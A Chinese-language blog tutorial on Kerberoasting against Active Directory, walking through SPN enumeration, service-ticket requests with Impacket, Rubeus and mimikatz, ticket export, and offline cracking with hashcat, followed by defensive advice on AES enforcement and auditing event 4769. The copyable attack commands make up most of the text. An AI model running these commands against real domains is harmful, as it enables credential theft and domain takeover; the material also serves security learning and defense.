Kerberosating攻击技术

Kerberosating 攻击

原理

攻击流程示意图:

image-20250529161248564

攻击者通过正常域用户密码认证获取 TGT,利用该 TGT 请求指定 SPN 的 ST 时指定 易破解的 RC4_HMAC_MD5 加密类型。若 TGT 有效,KDC 会用注册该 SPN 的账户 Hash 加密 ST 返回,攻击者提取后可离线爆破出该账户明文密码,如果该服务在域内被配置为高权限运行,那么攻击者可能接管整个域。

注意:Kerberoasting 攻击一般只针对注册用户的 SPN,因为机器账户的密码是随机生成的 128 位字符,是不可能爆破出来的

Kerberosating 攻击在实战中主要分为以下四步:

  1. 查询域内注册于域用户下的 SPN
  2. 请求指定的 SPN 的 ST
  3. 导出请求的 ST
  4. 对该导出的 ST 进行离线爆破

攻击流程&示例

SPN 枚举

需要枚举域内所有用户注册于域用户的 SPN,默认情况下,域内会有一个注册在用户 Krbtgt 下的 SPN kadmin/changepw。但该 SPN 对于 Kerberosating 攻击是没有意义的,因为用户 Krbtgt 的密码是随机生成的,几乎不可能爆破出来,通过以下几个工具对 SPN 进行枚举:

法一:RiskySPN

RiskySPN 是一个 Powershell 脚本的集合,专注于检测与 SPN 相关的账户是否滥用。该脚本可以帮助攻击者自动识别弱密码服务票据,根据用户账户和密码过期时间来查找最容易包含弱密码的票据。执行如下的命令,该脚本会自动查找并过滤出(自动去除注册于 Krbtgt 下的 Kadmin/changepw)当前域内注册于域用户下的可能包含弱密码的 SPN 的详细信息。

powershell -ep bypass
Import-Module .\Find-PotentiallyCrackableAccounts.ps1
Find-PotentiallyCrackableAccounts -FullData

运行 Find-PotentiallyCrackableAccounts.ps1 脚本探测域内注册于用户下的 SPN,如下图所示,可以看到探测出用户 svc-thm 下注册了 SPN:

image-20250604110422176

法二:GetUserSPNs

GetUserSPNs 是 kerberoast 工具集中查询注册于域内用户下的 SPN 的脚本,该脚本会查询域内所用注册于用户下的 SPN,包括注册于 Krbtgt 下的 Kadmin/changepw。该工具集合有 PowerShell 和 VBS 两种语言的脚本,使用命令如下:

#VBS 脚本的用法
cscript .\GetUserSPNs.vbs
# PowerShell 脚本的用法
Import-Module .\GetUserSPNs.ps1

image-20250604111004344

法三:PowerView.ps1

PowerView.ps1 是 PowerSpolit 中 Recon 目录下的 PowerShell 脚本,该脚本可用于查询出域用户下注册了 SPN 的用户,包括 Krbtgt 用户,并返回用户的详细信息。该脚本使用命令如下:

powershell -ep bypass
Import-Module .\PowerView.ps1
Get-NetUser -SPN

在这里插入图片描述

请求服务票据

当过滤出哪个用户下注册了 SPN 之后,就需要请求这些 SPN 的服务票据了,下面是几个常用的进行 SPN 服务票据请求的工具。

Impacket - GetUserSPNs

Impacket 中的 GetUserSPNs.py 脚本可以请求注册于目标用户下的所有 SPN 的服务票据,也可以请求注册于指定于用户下的 SPN 的服务票据。该脚本使用的命令如下:

#请求注册于用户下的所有 SPN 的服务票据,并以 hashcat 能破解的格式保存为 hash.txt 文件
python .\GetUserSPNs.py -request -dc-ip <target_IP> <域名>/<ADuser>:<passwd> -outputfile .\hash.txt

#请求注册于指定用户 jack 下的 SPN 的服务票据,并以 hashcat 能破解的格式保存为 hash2.txt 文件
python .\GetUserSPNs.py -request -dc-ip <target_IP> <域名>/<ADuser>:<passwd> -outputfile .\hash.txt -request-user <targetUser>

image-20250604113202034

image-20250604114015208

Rubeus

Rubeus 中的 Kerberoast 模块支持对所有用户或特定用户执行 Kerberoasting 操作,它的原理在于先用 LDAP 查询域内所有注册在域用户下的 SPN(除了 Kadmin/changepw),再通过发送 TGS 包,直接输出能使用 John 或 hashcat 爆破的 Hash。该工具的使用命令如下:

#请求注册于用户下的所有SPN的服务票据,并以hashcat能破解的格式保存为hash.txt文件
Rubeus.exe kerberoast /format:hashcat /outfile:hash.txt

#请求注册于用户下的指定SPN的服务票据,并以john能破解的格式保存为hash.txt文件
Rubeus.exe kerberoast /spn:SQLServer/<DC主机名>.<域名>:1433/MSSQL /format:john /outfile:hash.txt

image-20250604114311849

mimikatz

使用 mimikatz 请求指定 SPN 的服务票据的命令如下,请求的服务票据将保存在内存中,如图所示:

#请求指定 SPN 的服务票据
.\mimikatz.exe "kerberos::ask /target:SQLServer/<域控主机名>.<域名>:<目标服务端口>/<目标服务>"

导出服务票据

在请求服务票据的过程中,有的工具可以直接将票据打印出来保存为文件,而有的工具会将票据保存在内存中。对于保存在内存中的票据。可以使用以下的命令查看:

# cmd 运行
Klist
#在mimikatz 下面执行
Kerberos::list

如果内存中有票据,那就需要将其导出为文件。

image-20250604114806065

mimikatz 导出票据

使用 mimikatz 将内存中的的票据导出来的命令如下,执行完成后,会在 mimikatz 同目录下导出.kirbi 格式的票据文件:

mimikatz.exe "kerberos::list /export" "exit"

离线破解服务票据

通过前几步取得了.kirbi 票据文件或 hashcat、John 能直接破解的文件,接下来就需要本地离线破解服务票据了。

kerberoast - tgsrepcrack

kerberoast 是用于攻击 Kerberos 实现的一些工具的集合。该工具中的 tgsrepcrack.py 脚本可以对 mimikatz 导出的.kirbi 格式的票据进行爆破,使用 tgsrepcrack.py 脚本离线破解.kirbi 文件的命令如下,如图所示,可以看到破解的密码为 Admin123

python3 tgsrepcrack.py pass.txt 1-40a10000-Administrator@SQLSever\~DC.hack.com\~1433\~MSSQL-HACK.COM.kirbi

在这里插入图片描述

hashcat

针对 Impacket 和 Rebeus 请求的票据格式,可以使用 hashcat 执行如下的命令来进行爆破。

hashcat -m 13100 hash.txt pass.txt --force

Kerberoasting 攻击防御

对于防守此种攻击有以下几种方法:

1)确保服务账户和密码为强密码,具有随机性并定期修改。
2)Kerberoasting 能成功的最大因素就是 KDC 返回的 ST 是用 RC4_HMAC_MD5 加密算法加密的,攻击者可以比较简单地进行爆破。如果配置了强制使用 AES256_HMAC 方式对 Kerberos 票据进行加密,那么即使攻击者获取了 ST,也无法将其破解。但这种加密方式存在兼容性的问题。
3)许多服务账户在域中被分配了过高的权限,从而导致了攻击者在破解该服务账户的密码后,能迅速进行域内权限提升。因此,应该对域内的服务账户权限进行限制,采取最小化权限的原则。
4)防守方在检测 Kerberoasting 攻击时,可以进行日志审计,重点关注事件 ID 为 4769(请求 Kerberos 服务票据操作)的日志。如果有过多的 4769 日志,可以对事件 ID 为 4769 的日志进行筛选,筛选出票据加密类型为 0x17(RC4_HMAC)的日志。

posted @ 2025-12-03 09:45  shinianyunyan  阅读(44)  评论(0)    收藏  举报